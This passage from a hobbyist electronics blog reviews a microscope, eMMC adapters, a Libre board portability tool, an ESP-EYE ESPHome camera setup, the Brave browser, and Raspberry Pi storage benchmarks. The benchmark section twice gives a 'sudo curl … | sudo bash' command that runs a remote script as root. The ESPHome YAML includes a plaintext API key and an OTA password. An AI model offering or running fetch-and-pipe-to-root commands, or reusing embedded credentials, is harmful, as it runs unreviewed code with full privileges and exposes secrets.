covered by) some kind of a wavy looking material. Notice that the timestamp is burned into the image. This is adjustable but I like it. Next I wanted to test something like a coin. Here’s a 1944 mercury dime that I found metal detecting many years ago under the scope. This is as zoomed out as I can possibly make the shot: Microscope Coin Test – Zoomed Out Okay, now I’ll adjust the scope and zoom in on the 1944 part of the coin: Microscope Coin Test – Close up Again, this was not on the highest settings that the microscope can take pictures with. The quality and resolutions it’s capable of imaging with literally exceeds what I can really use on the web site at this time in 2023. Very impressive! Pros / Cons Pros Extremely affordable, can often be found for <$100 Takes pictures and videos with included SD card Portable since it has a rechargeable battery and a very small footprint Cons No charger included and charges pretty slowly off most regular USB connections Conclusion I’m very happy with this little microscope. It’s perfect for exactly what I wanted which is mostly to examine PCBs. I don’t need an extremely powerful microscope for that. This would also be a great microscope for coin collectors or anyone who needs to see small details on objects a lot. The built in function to take photos and videos works surprisingly well. The SD card is included so it won’t cost you anything to take advantage of this feature. I was able to take satisfactory quality pictures which will help me a lot with my media/images on the site. This microscope is surprisingly portable. Since it has a rechargeable battery and is physically very small it is very easy to move this microscope anywhere you need it / want to use it. I can hold the entire assembly easily with one hand and move it as it’s also quite light. I would recommend this microscope for anyone that needs a cheap microscope around $100 or less. If you buy it from Amazon there is a $30 off coupon at time of writing that you need to select from the listing so make sure you clip that coupon before checking out. I only paid ~$80 for this thing with the coupon and I’m incredibly impressed for $80 as I have no doubt I’ll use it for years. I wish I would have bought one sooner. The picture/video quality is surprisingly good for a device in this price range. It’s actually more than I need / can use on the site and I’m not even using max settings. Definitely watch out for more images on the site taken with the microscope going forward as I will be keeping / using it! Other Resources You may also be interested in the wowStick electronic screwdriver for electronics I’ve also covered the Pinecil (a great and inexpensive soldering iron) here Another handy tool for technicians is the DataVac ED500 dust removal tool #### eMMC to SD Card Adapters Explained UUGear eMMC to SD Adapter The eMMC to SD card adapter shows up a lot in IoT devices. I have owned one for my Raspberry Pi for a while and they are fantastic. In this article I will explain what these devices are, the main advantages of them (speed/performance) and benchmark some eMMCs to show performance differences. By the end of this article this should give you an idea if this is a type of device you’d want to work with / use. Let’s begin! Table of Contents Toggle What are they?Connecting to PC / DevicePerformance AdvantagesOther Available eMMC to SD AdapterConclusionOther Resources What are they? It’s basically a eMMC storage chip soldered onto a board that fits into a SD slot. This makes it a lot bulkier than a normal micro SD card but much less bulky than almost any other storage solution on many platforms. Because of this I’m seeing them more and more in IoT devices. Here is one I found recently in a Helium hotspot: Nebra Outdoor Hotspot Opened Nebra – eMMC Location Now let’s look at the back of the eMMC: Nebra eMMC to SD Card Adapter As you can see they actually had their company name / web site / everything printed onto each one of these eMMC keys essentially to use in their own products. Connecting to PC / Device These actually just slide right into any SD card slot. You can use them on your PC or with a SD adapter like this: eMMC to SD Adapter in PC USB Port They will show up right in your PC like a regular card. Note that some SD adapters do not like these. I have a SanDisk SD to USB adapter that won’t work with the eMMC modules at all so keep in mind that some adapters might not like them. I have not found any actual SD ports though that won’t read them (it’s only a question of whether an adapter will work). Performance Advantages I have owned another SD to eMMC adapter for quite a while. It seems to have been removed from Amazon (some Pi resellers still have it though) and I’ll have some other recommendations later that are easier to find / obtain. It’s this one: UUGear eMMC to SD Adapter I benchmarked this device with two things in mind. I wanted to compare it to how fast a SD card is *and* I wanted to compare using this SD to eMMC adapter to using a built-in eMMC on the Compute Module 4. I used my Pi Benchmarks web site for testing. The built in Compute Module 4 eMMC that is physically soldered to the board (meaning it doesn’t go through the SD card slot / port) scored 5,499 with stock clock speeds. That is extremely fast and the fastest SD cards only score about 2,000 points. That means that a eMMC’s performance is nearly 3 times as fast as even an application class (A1) SD card. That’s very fast! Okay, so we definitely know eMMC is faster, but my next question is do you lose some of that performance by using the SD adapter instead of having it soldered directly to the Pi like the Compute Module 4? My benchmark with the UUGear is benchmark #48189 and was 3,899 points. This means we did actually lose a little bit of speed through the SD card port and I 100% expected this. I was actually surprised though that we actually didn’t lose that much. That is still double the fastest SD cards even going through the exact same SD card slot! Other Available eMMC to SD Adapter RockPi eMMC Module The RockPi module is available in 16GB, 32GB, 64GB, and even 128GB sizes and actually has a eMMC that detaches from the SD adapter board with it’s own little socket. Compatible with the Pi and other similar devices (not just for RockPi). Links: Amazon.com*, AliExpress (SD adapter board only)*, AliExpress (modules 16GB to 128GB!)* Definitely check Pi resellers for the UUGear module as well! Conclusion It’s roughly 3 times faster than even an application class (A1) SD card. They particularly excel at random read/writes (meaning a random area of the disk is accessed rather than all in order such as when you write a large file) making them a great choice for running an operating system / applications. They’re fantastic devices. With the attached leash they actually feel a lot like a USB flash drive people sometimes carry around with all of your utilities / files on them but it’s for a SD card slot! As long as you can fit it into your case / project they cost about the same as a really nice SD card and perform much better. I highly recommend them! Other Resources If you are looking at eMMC modules for Hardkernel ODROID boards check out my ODROID eMMC guide here #### Enable Raspbian Images to Boot on Libre Computers Boards Enable Raspbian Images to Boot on Libre Computers Boards Guide Libre Computers is a company making single board computers that are much more open-sourced than the Raspberry Pi (especially when it comes to hardware). They are offering a USB 2.0 model (the “Le Potato”) for $40 and a USB 3.0 model (the “Renegade”) for $50. Those are not theoretical MSRP prices that are impossible to find either. Those are the listed prices available today! When I first covered these boards the Libre reddit account let me know about a utility they had available that could enable most Raspberry Pi images to boot on Libre Computers boards such as the “Le Potato” and “Renegade”. I tried out the tool and it worked great! In this guide I will show you where to get the tool and how to use it. Let’s begin! Table of Contents Toggle Hardware UsedSupported VersionsNotable CaveatsInstructionsTesting the UtilityConclusionOther Resources Hardware Used Libre Computers “Le Potato” The “Le Potato” from Libre Computers is meant to be a fully open sourced alternative to the Raspberry Pi. It can run a huge number of flavors and has up to date images available for them. Contains a Quad-Core ARM Cortex A53 CPU as well as a Mali-450 GPU as well as 2GB of RAM. Make sure you click the $5 off coupon if you are using Amazon! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Libre Computers “Renegade” ROC-RK3328-CC Firefly The ROC-RK3328-CC Firefly “Renegade” from Libre Computers is a very powerful RockChip based single board computer. The “Renegade” features 2G of DDR4 RAM, USB 3.0, a quad-core ARM Cortex-A53 CPU, a Mali-450 GPU and 1 USB 3.0 port! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Supported Versions The list of all the supported versions of Raspbian is available on the official GitHub page for the tool and includes: Raspbian 10 Buster Lite and Desktop armhf Raspbian 11 Bullseye Lite and Desktop armhf Raspbian 11 Bullseye Lite and Desktop arm64 You can use the tool on any of these versions and it will enable it to boot on the Libre Computers boards. Booting the SD card with the Pi will still be retained (in other words it won’t take away your ability to boot that image on the Pi if you run the Libre utility). Notable Caveats Libre Computers gives two notable caveats to using this tool to boot Raspbian images: GPIOs and Device Tree Overlays (dtoverlay) for I2C, SPI, UART, PWM need to be translated via our wiring tool. Software designed around specific Raspberry Pi® hardware such as MIPI cameras, DPI displays, DSI panels are not supported. Let’s explain what these mean. The first one about GPIO and device tree overlays means that if you are making extensive use of the GPIO pins or overlays you will need to use their wiring tool to translate the instructions to ones that will work with Libre boards. This is a pretty standard requirement for Pi competitor hardware and it’s actually a step above many competitors that Libre has a good working tool that lets you do this effectively. The second point involves closed source components of the Raspberry Pi related to hardware. If you are using any hardware that makes use of these closed-source Raspberry Pi hardware features that isn’t supported. This is essentially true with every competing board to the Raspberry Pi due to the closed-source nature of these components on the Pi. These caveats likely won’t apply to many (maybe even most) people reading this article (and if they apply to you then you will know it). Instructions The tool is quite simple to use. To start you are going to boot into the image you want to enable Libre board support with a Raspberry Pi first. First make sure you have git installed with: sudo apt install git -y Now clone the Libre Raspbian Portability Tool GitHub Repository: git clone https://github.com/libre-computer-project/libretech-raspbian-portability.git lrp Next let’s run a command to get the available board types: pi@pi400:~ $ sudo lrp/oneshot.sh No board selected. Supported boards: all-h3-cc-h3 all-h3-cc-h5 aml-s805x-ac aml-s905x-cc roc-rk3328-cc roc-rk3399-pc sudo lrp/oneshot.sh BOARD Finally we can complete the operation by running the same command we ran before but specifying the correct board type after oneshot.sh. For example for the “Le Potato” the identifier we should use is aml-s905x-cc. That would make the final correct command look like this: sudo lrp/oneshot.sh aml-s905x-cc It will ask you to type “continue”. Once you type this out it will begin to prepare the image. Testing the Utility To test the utility I took my nearly full Pi 400 image and prepared it to boot on the “Le Potato”. I booted the Pi 400 and ran the script: Raspbian on Pi 400 running portability tool Now I simply shut down the Pi 400 and moved the SD card to my “Le Potato” and connected the power: Raspbian running on “Le Potato” after using portability tool Success! Conclusion Libre Computers does a great job supporting their boards. It’s one of the things that makes them one of my favorite single board computer companies of 2022. Their pricing is great and I’ve already had several interactions with their social media accounts (as have some of my readers, see my Twitter for that). I really like their commitment to having much more open source hardware than we previously had access to with the Pi. This tool lets easily move from any Raspberry Pi above a Raspberry Pi 2 directly to a Libre Board. You don’t have to reinstall any of your software. You don’t have to reconfigure your images or transfer your data. You simply run a simple script to enable the necessary files for the Libre to boot (while leaving the original image able to still boot on a Raspberry Pi). For anyone who has tried to move from a Raspberry Pi to an alternative device before this utility really stands out as a compelling reason to choose a Libre board over some of the competitors. I definitely recommend giving it a try! Other Resources I have a full review for the Libre Computers “Renegade” here and a SSD booting guide for the “Renegade” here I have a full review for the Libre Computers “Le Potato” here and a SSD booting guide for the “Le Potato” here Definitely see all of the rest of my single board computer reviews here #### ESP-EYE Cheap Home Assistant ESPHome Camera Guide ESP-EYE within Home Assistant I recently covered the extremely cheap and popular ESP32-CAM here on the site. That is still a good choice but I wanted to evaluate some of the other camera options out there. One of the camera modules I chose to try was the ESP-EYE. This is actually an official product by Espressif (the company who make the ESP modules). It comes as one solid piece unlike the ESP32-CAM. It also has beefier on-board specs than the ESP32-CAM. In this guide I’ll show you how to set up a completely open-source Home Assistant camera view with the ESP-EYE using ESPHome. Let’s get started! Table of Contents Toggle Hardware UsedOverviewAdding ESPHome to Home AssistantConfiguring ESPHomeAdding Device to Home AssistantAdding Camera to YAMLFinal ResultConclusionOther Resources Hardware Used Espressif ESP-EYE The Espressif ESP-EYE is a camera module made by the same company that makes the ESP32 module itself. It has 8 MB of PSRAM & 4 MB of flash onboard. Links: Amazon.com*, AliExpress*, Amazon.com.au*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.de*, Amazon.it* Overview Let’s take a closer look at the ESP-EYE: ESP-EYE – Top View Here you can see the “BOOT” and “RST” (Reset) buttons on the board. The revision of the board I received was v2.2. Now let’s take a look at the bottom of the board: ESP-EYE – Bottom View Here you can see another switch on the right hand side (used for face recognition). The ESP32 is actually soldered right on the board. You can see it sort of in the middle. Also of note there is a pretty secure bracket at the top of the board. My plan is to add this as a camera to monitor my garage. Adding ESPHome to Home Assistant We are going to assume you have Home Assistant installed as installing Home Assistant is outside the scope of this guide. You can absolutely follow along though and see if it looks like something you’d like to explore. I have it installed as a supervised installation on an Orange Pi 5. Sign into your Home Assistant instance and go to “Settings” and then “Add-ons”. Next click the “Add-on Store”. ESPHome has it’s own section like this: Home Assistant Add-on Store – ESPHome Select ESPHome and then click “Install”. Once the installation is finished you can click “Start” to start the service. To make things easier choose to add the ESPHome option to your sidebar. That way you’ll see a menu choice specifically for ESPHome going forward. Configuring ESPHome First head to the ESPHome menu option: ESPHome Configuration Menu If you don’t see the ESPHome menu option then go back to the “Add-on Store” from the previous step. Select ESPHome and enable “Show in sidebar”. For setup we need to connect your camera to your device running Home Assistant with USB. This is only required for setup. It will communicate wirelessly after you’ve completed setup (if you configure it that way). You also have the option of connecting it to a different computer but *only* if your Home Assistant instance is configured to run in HTTPS. Click “New Device” in the bottom right hand menu. Follow the menus to add the device into your ESPHome instance. Choose “ESP32” as the device type. Now install the configuration to the device. Adding Device to Home Assistant Now head back to your “Settings” menu for Home Assistant and click “Devices”. You should see your new sensor with the name you specified in the configuration. Check to see if the sensor is online. With any luck it is like my example above. Now click “Configure”: Home Assistant – Devices Menu – Configure ESPHome It should ask you if you want to add the node to Home Assistant. Select “Submit” and then it will ask you for your encryption key it gave us earlier. If you don’t have this just go back to the ESPHome menu and select “Edit”. You will see the key in plain text under “encryption” and then “key”. If everything goes well the device should come online and be successfully paired with Home Assistant. From this point forward we will be able to update and push the configuration wirelessly to the device. Adding Camera to YAML Update 4/20/2026: I’ve updated this with the new YAML that adds i2c as it’s own section and gets rid of the deprecated i2cpins. The updated code is below! Now your device should be available in Home Assistant but you won’t see a camera feed yet. We’re going to add that now. Go back to ESPHome and go to your new camera. Click “Edit”. esphome: name: cam-garage friendly_name: cam-garageesp32: board: esp32dev framework: type: arduinopsram: mode: quad # Enable logginglogger: level: VERBOSE# Enable Home Assistant APIapi: encryption: key: "k40lcUnVxbGJJPzSo3B/VQhDSwXzvZnNZre2kiTlLMs=" services: # change camera parameters on-the-fly - service: camera_set_param variables: name: string value: int then: - lambda: |- bool state_return = false; if (("contrast" == name) && (value >= -2) && (value <= 2)) { id(espeye).set_contrast(value); state_return = true; } if (("brightness" == name) && (value >= -2) && (value <= 2)) { id(espeye).set_brightness(value); state_return = true; } if (("saturation" == name) && (value >= -2) && (value <= 2)) { id(espeye).set_saturation(value); state_return = true; } if (("special_effect" == name) && (value >= 0U) && (value <= 6U)) { id(espeye).set_special_effect((esphome::esp32_camera::ESP32SpecialEffect)value); state_return = true; } if (("aec_mode" == name) && (value >= 0U) && (value <= 1U)) { id(espeye).set_aec_mode((esphome::esp32_camera::ESP32GainControlMode)value); state_return = true; } if (("aec2" == name) && (value >= 0U) && (value <= 1U)) { id(espeye).set_aec2(value); state_return = true; } if (("ae_level" == name) && (value >= -2) && (value <= 2)) { id(espeye).set_ae_level(value); state_return = true; } if (("aec_value" == name) && (value >= 0U) && (value <= 1200U)) { id(espeye).set_aec_value(value); state_return = true; } if (("agc_mode" == name) && (value >= 0U) && (value <= 1U)) { id(espeye).set_agc_mode((esphome::esp32_camera::ESP32GainControlMode)value); state_return = true; } if (("agc_value" == name) && (value >= 0U) && (value <= 30U)) { id(espeye).set_agc_value(value); state_return = true; } if (("agc_gain_ceiling" == name) && (value >= 0U) && (value <= 6U)) { id(espeye).set_agc_gain_ceiling((esphome::esp32_camera::ESP32AgcGainCeiling)value); state_return = true; } if (("wb_mode" == name) && (value >= 0U) && (value <= 4U)) { id(espeye).set_wb_mode((esphome::esp32_camera::ESP32WhiteBalanceMode)value); state_return = true; } if (("test_pattern" == name) && (value >= 0U) && (value <= 1U)) { id(espeye).set_test_pattern(value); state_return = true; } if (true == state_return) { id(espeye).update_camera_parameters(); } else { ESP_LOGW("esp32_camera_set_param", "Error in name or data range"); }ota: platform: esphome password: "b9f4d4b4f404ddcc664c6dbb246bc2e1"wifi: ssid: !secret wifi_ssid password: !secret wifi_password domain: .jamesachambers.net power_save_mode: none manual_ip: static_ip: 192.168.1.213 gateway: 192.168.1.1 subnet: 255.255.255.0 dns1: 192.168.1.1 dns2: 8.8.8.8i2c: id: bus_a sda: GPIO18 scl: GPIO23esp32_camera: id: espeye name: esp-eye external_clock: pin: GPIO4 frequency: 20MHz i2c_id: bus_a data_pins: [GPIO34, GPIO13, GPIO14, GPIO35, GPIO39, GPIO38, GPIO37, GPIO36] vsync_pin: GPIO5 href_pin: GPIO27 pixel_clock_pin: GPIO25 resolution: 1600x1200 jpeg_quality: 10 # max. 63 max_framerate: 5.0fps idle_framerate: 0.2fps vertical_flip: true horizontal_mirror: false brightness: 2 contrast: 1 special_effect: none # exposure settings aec_mode: auto aec2: false ae_level: 0 aec_value: 300 # gain settings agc_mode: auto agc_gain_ceiling: 2x agc_value: 0 # white balance setting wb_mode: autobinary_sensor: - platform: status name: esp-eye statussensor: - platform: wifi_signal name: esp-eye WiFi Signal Make sure to update with your own encryption keys (or use the ones that were automatically generated). If you don’t want to use a static IP with the camera you can remove the entire “manual_ip” section above! Final Result Here’s how it looks within Home Assistant: ESP-EYE within Home Assistant I ended up installing it like this in my garage: ESP-EYE – Installed Can you see it? I added a text hint but it’s on top of the fridge. The cable is firmly holding it in position. I didn’t do a permanent mount because I may change the angle slightly (or I may keep it mobile). Conclusion The ESP-EYE costs a bit more than the ESP32-CAM but it is a more powerful board with a lot more resources. I didn’t have any connection problems with ESPHome or Home Assistant with this board even at maximum resolution. I also experienced a really stable WiFi signal. It has some tradeoffs. There’s no bright white LED on the ESP-EYE to provide illumination. My ESP-EYE image also seems to look a little clearer despite me being able to run this camera at a much higher resolution. The upsides are that the higher specifications on the ESP-EYE let you run at higher frame rates and higher resolutions than the ESP32-CAM will run at (at least with the module they give you with them). It’s also nice that it’s so compact and one solid piece. The ESP-EYE is showing as unavailable on Amazon all of the sudden even though I only bought mine March 4th here. Hopefully it will come back to Amazon before too long but it’s still available on AliExpress. I’d recommend this as much as I’d recommend the ESP32-CAM for places where you don’t need a really high resolution or fancy camera. I already have some Unifi cameras for places I need really high quality shots. For my utilities and my garage the ESP32-CAM and ESP-EYE are both great choices! Other Resources Don’t miss my ESP32-CAM guide here for another Home Assistant cheap camera option I’ve covered making a ESP32 air quality sensor (7-in-1) without soldering here All of my Home Assistant related articles can be seen here #### Examining the Brave Web Browser / BAT Cryptocurrency Token Brave Browser’s built In wallet with a 79.0 BAT token balance The Brave web browser is a really interesting experiment. For users it offers an out of the box privacy setup that blocks advertising/tracking. The browser’s rendering engine is Chromium based so website loading/rendering/compatibility performance is comparable to Chrome. Brave’s idea of a newer and better internet is one where both users and sites are supported by using a cryptocurrency called the “Basic Attention Token”. The idea of the BAT token is to have a currency that is used to pay people for their attention. This means users can watch ads from Brave and receive BAT cryptocurrency just for watching. Sites and content creators are also given BAT tokens by Brave based on how long users are viewing or “paying attention” to their content. Users may also manually tip at any time with the built-in wallet. In this article we will take a closer look at Brave and the BAT cryptocurrency and discuss. Table of Contents Toggle Brave BrowserUser InterfaceAd BlockerBuilt in Tor (.onion) SupportBottom LineBrave RewardsBrave for Content CreatorsBasic Attention Token (BAT)TippingConclusionOther Resources Brave Browser User Interface The Brave web browser is based on Chromium. Chromium is the web rendering engine by Google used in Chrome so Brave very much looks/feels/performs as Chrome would. Brave also implements key features that traditionally helped Chrome get to the #1 spot including cloud sync and support for extensions. Let’s take a look at the UI: Brave Web Browser User Interface You can definitely tell it’s Chromium based just from looking at it. It looks very much like any screenshot of Chrome would. Ad Blocker The ad blocker that Brave comes with is very good. It typically blocks more sites than a typical adblocker plugin installed on Chrome. Here is the popup for the Brave ad blocker ran on a typical website: Brave Built In Ad Blocker Script blocking is also available in the above dialog. You can enable this toggle to block all scripts on the page (basically like NoScript). Built in Tor (.onion) Support Brave has The Onion Router (Tor) included. This allows you to help mask your identity and also to access .onion sites (commonly called the dark web). This allows you to not have to use something like the “Tor Browser” application and can simply open a Tor window within Brave. The feature can be accessed by pressing Alt+Shift+N or by accessing it through the here: Brave – New Tor Window in Main Menu Bottom Line The Brave web browser can be described as Chrome with an ad blocker / cryptocurrency wallet / Tor support installed out of the box. This is very much a good thing because if it was some clunky browser knockoff missing key features (Edge for example) there’s no way I would touch it. It basically has the good performance / compatibility / functionality of Chromium but without the privacy nightmare. Brave Rewards Brave allows you to earn BAT currency by viewing ads. You can set the frequency of ads from 1 per hour up to 5 per hour. The options dialog looks like this: Brave Rewards Max Ads Settings When an ad is available a small notification window pops up. If you click the notification the ad opens and you get a small amount of BAT. I clicked one and got 0.05 BAT even after closing the window about 5 seconds later. If you want to earn the most BAT possible change your ads per hour to the maximum (5). After viewing one ad my rewards window now looks like this: Brave Rewards Ad Watching Revenue Dialog You can see that I now have 0.05 BAT earnings which will be paid out monthly. My next payment date is August 5th. Note that Brave also sometimes does BAT airdrops you can claim which will also show up as a notification. These grant BAT to people using Brave browsers with the intention that you tip it to Brave content creators to help the project thrive. Brave for Content Creators Content creator platforms that can be supported by Brave include YouTube, Reddit, Twitch, GitHub and others: Brave Publishing Channels Dialog There is a different verification process for each type to confirm that you indeed own the account in question. Until a creator has verified the tips from Brave remain on a wallet that is set aside for the creator until they verify they are the site/account owner. Verification is usually nothing more than authorizing the account in question to be accessed by Brave so they can verify you are the owner. Once verified they can claim any outstanding BAT that has been earned/donated to them. Here is an example of how a site that is not verified will appear in Brave: Brave Unverified Site Dialog Once you have verified as the content creator after 24-48 hours Brave users will now see the blue checkmark next to your site’s name. This will show a blue checkmark next to your name and make you eligible to receive automatic attention payments and tips from Brave users. Now that you are verified the wallet tab will look like this: Brave Verified Publisher Wallet We can see now that auto-contribute is now automatically enabled. This means Brave users that visit your content and have auto-contribute turned on will make a small contribution of BAT to you. Auto-contribute pays out a lump sum (default is 10 BAT) to all sites proportionally to how long you were viewing their content. If a user spends a lot of time watching your content this could end up being a large percentage of their monthly payout. If they only spent a very short time it will be a very small payout. Tips are separate and will be sent to a wallet for the content creator to claim in the future by verifying their ownership of the content creation account / site. Basic Attention Token (BAT) The basic attention token is not a coin that you can mine like Bitcoin. It is issued by the Brave entity and can be readily exchanged for Bitcoin, Ethereum, Litecoin and others on various cryptocurrency exchanges. Brave also supports sending several cryptocurrencies right to your Brave wallet (they will handle the conversion for you automatically). Here is what the deposit/exchange page looks like: Brave Cryptocurrency Exchange/Deposit Dialog Learn more about the Basic Attention Token (BAT) from the the official Basic Attention Token (BAT) web site. Tipping One of the awesome things about having a cryptocurrency wallet built into this experience is it allows you to directly tip creators who are making content you enjoy and want to support. If you have ever played with tip bots on Reddit or other platforms this is actually a pretty fun concept and way for a creator to monetize a website without having to sell traditional ad space. Tipping someone in Brave is very easy. You click the icon on the far right side of the address bar with the blue checkmark on it (which indicates that the creator has signed up with Brave to receive tips) and can select the amount of BAT you want to send from your built in Brave wallet. The tipping process looks like this: Brave Tipping Dialog Window You can see in this window that I have wrote a personalized message to my users on my site’s donation screen. This is a feature you get once you verify your site/account’s ownership and is a really nice touch. Conclusion Brave offers an improved out of the box Internet browsing experience for other browsers. It is preconfigured for ad blocking, social website blocking, built in Tor and other very nice security features that normally require several additional plugins/programs to access. For content creators Brave is very exciting as it offers the prospect to get funding from alternative places than advertising with Internet giants. I would personally love for the users who visit my web site to fund it automatically from their browser to be the way I am able to monetize my site. Brave isn’t there yet but it’s heading in that direction and gaining quickly in popularity. Because of me sharing the Brave vision of a better way to fund content creators online I am supporting the Brave project and have registered jamesachambers.com as a Brave publisher. If you would like to try Brave use you can get it at their official site and check it out today! Other Resources For the best place to mine and exchange your altcoins check out my Best Altcoin Mining Pools and Exchanges article #### Fast Raspberry Pi 4 Storage Benchmarks UPDATE: The 2022 storage benchmarks are now available! We’ve now received over 20,000 benchmarks at Pi Benchmarks! These are submitted by regular people from all over the world. In celebration of that milestone as well as the launch of the 8GB Raspberry Pi 4* take a closer look at which device you should choose for your Raspberry Pi 4 as determined by science and measurement! Table of Contents Toggle Best Performing DevicesSolid State Drive (SSD)Secure Digital (SD / MicroSD) CardBenchmarking / Testing StorageStorage Adapter Performance NoteTop 20 Fastest Storage DevicesTop 10 Fastest Secure Digital SD / MicroSD CardsBenchmarking Your Own DevicePower RequirementsInsufficient Power SymptomsPowered USB Hub SolutionOversized Power Adapter SolutionPower LimitsPowered USB Hub TroubleshootingOther Resources Best Performing Devices Solid State Drive (SSD) Samsung 980 Pro NVMe SSD The Samsung 980 Pro (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Secure Digital (SD / MicroSD) Card SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on pibenchmarks.com for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* The SanDisk Extreme A2 is barely edging out the SanDisk Extreme A1 variant for the top spot. The difference is tiny though, so you should pick whichever one is cheaper at the moment. Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Storage Adapter Performance Note The type of USB adapter you use (if you aren’t using a SD card) can have a big effect on performance. I cover which adapters are good and which should be avoided more comprehensively in my Raspberry Pi 4 USB Booting Post. The most popular one at time of writing is the StarTech USB 3.1 to 2.5″ SATA adapter*. Top 20 Fastest Storage Devices # Brand Link Average (All) Average (Pi 4) Fastest Score Slowest Score Total Benchmarks 1 Samsung 970 Evo Plus* 9563 9563 10840 2805 49 2 Patriot P200 Series* 9372 9372 10170 8830 6 3 Crucial P1 M.2 Series* 8602 8602 9369 6737 6 4 Western Digital Blue SN550 NVME* 8396 8396 9799 7079 10 5 Western Digital Black SN750 Series* 8381 8381 8650 8229 4 6 Samsung 860 Pro* 8325 8325 9523 4895 15 7 Samsung T5 Portable* 8299 8339 11505 2721 272 8 Samsung 850 Evo mSATA* 8284 8284 9617 5325 20 9 Samsung T7 Portable SSD* 8104 8104 8494 7834 3 10 Micron 1100 M.2 Series* 8063 8063 9012 6605 4 11 Transcend MTS600 Series* 8022 8022 9274 6967 4 12 SanDisk Extreme 500 Portable* 8016 8438 10619 2693 25 13 Kingston A2000 Series* 8014 8014 9503 5207 10 14 AData SU635* 7953 7953 8678 7529 5 15 SKhynix SC311* 7940 7940 8427 6355 8 16 Crucial MX300 M.2 Series* 7739 7739 8829 6133 8 17 SanDisk Extreme Portable* 7720 8000 11337 2449 106 18 KingSpec Z3 Portable Series* 7714 8035 10458 1591 88 19 Team GX1 Series* 7686 7686 8792 4660 8 20 Samsung T3 Portable* 7632 7632 9431 2509 22 Top 10 Fastest Secure Digital SD / MicroSD Cards Rank Brand Link Average (All) Average (Pi 4) Fastest Score Slowest Score Total Benchmarks 1 SanDisk Extreme A2 (SEXXX C10 V30 U3)* 1595 1659 1747 1167 12 2 SanDisk Extreme A1 (SEXXX A1 C10 V30 U3)* 1588 1669 1808 858 141 3 Transcend (USD A1 C10 V30 U3)* 1569 1569 1667 1363 6 4 SanDisk Extreme Pro (SPXXX A1 C10 V30 U3)* 1568 1606 2289 651 136 5 Lexar 633x* 1554 1554 1810 1028 14 6 Kingston Canvas React (SDCHE A1 C10 V10 U1)* 1554 1554 1632 1465 6 7 SanDisk Extreme Pro (SPXXX C10 V30 U3)* 1520 1607 1709 1260 4 8 Toshiba SD (SA32G A1 C10 U1)* 1456 1525 1616 1178 5 9 Transcend (USD A1 C10 V10 U3)* 1436 1436 1528 1135 7 10 AData Premier Pro* 1412 1412 1558 1316 13 Benchmarking Your Own Device I highly recommend benchmarking your own storage device. To run the benchmark paste/type: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash The benchmark only takes a few minutes and will give you a lot of information about whether your Pi is performing well or not. Storage is definitely the biggest performance variation between otherwise identical Pi setups. Compare your score with others at the full benchmark browsing site Pi Benchmarks. Leave a comment letting us know how you did or if you need any help! Power Requirements Most types of storage adapters can be powered by the Pi itself. One notable exception is NVMe enclosures. Throughout the years we have had hundreds of comments from people who had no trouble powering 2.5″ SATA enclosures but couldn’t get a NVMe one to work at all without a powered USB hub. Very large older 3.5″ SATA drives are known to require more power than the Pi can provide as well as some types of very high performance models that were designed to burn more power to get extra performance gains. For solid state storage older models of solid state drives (SSDs) are also known to draw more power than their newer counterparts. If you have a drive that you think may fall into this category then definitely be on the lookout for power related issues and extra cautious about your power setup. High end “extreme” performance models also tend to draw more power (Samsung 970 NVMe drives* are some of the fastest in the world but also pretty power hungry for the Pi). Insufficient Power Symptoms Symptoms of a lack of power to the drive can include the system only booting sometimes (or not at all) or working for a while and then locking up. Just because the drive boots does not mean it is getting enough power. Some commenters on previous articles have described this as working fine until there was a sudden spike in CPU usage while they tried to do several things at once (high CPU, accessing storage, activating various hardware all at once) and then they would get a lockup/crash. This is because the Pi is teetering on the edge of not having enough power and that spike caused it to drop enough where the drive actually lost power (likely only for tiny fractions of a second). This is enough instability to easily cause a crash and worse if it happened to be in the middle of writing something important! Usually nothing will happen other than you’ll have to restart the Pi but because of the risk of data loss and eventually corrupting files. That being said, if you’re particularly unlucky you will have to fsck the drive or potentially even reimage it if fsck is unable to repair the damage! The best answer is to test for stability. Do this by stressing out the Pi and make sure you are doing activities that stress the CPU and storage at the same time like browsing the web, etc. and if you can do that for a few hours/days without a lockup/crash then you have a stable power setup! Powered USB Hub Solution For NVMe enclosures and power hungry drives I personally use this Sabrent powered USB hub and have been recommending it here on the blog for a long time: Sabrent Powered USB 3.0 Hub The Sabrent powered USB hub delivers a whopping 2.5A of dedicated power for your USB attached devices. This is almost as much as the Pi adapter itself is rated for (3.0A). It will easily power the most thirsty of setups such as NVMe enclosures. Links: AliExpress*, Amazon.ca*, Amazon.com*, Amazon.com.au*, Amazon.co.uk*, Amazon.es*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Note: Make sure Amazon doesn’t try to take you to the non-powered version and that it’s the one with the AC adapter that plugs in to provide extra power If this hub isn’t an option for you and you don’t have one already you can try with it then look in the reviews for people saying that it is working with Raspberry Pi. Some powered USB hubs will not play nice with the Pi so before buying one definitely check reviews and do some careful research about what to expect with the Raspberry Pi! 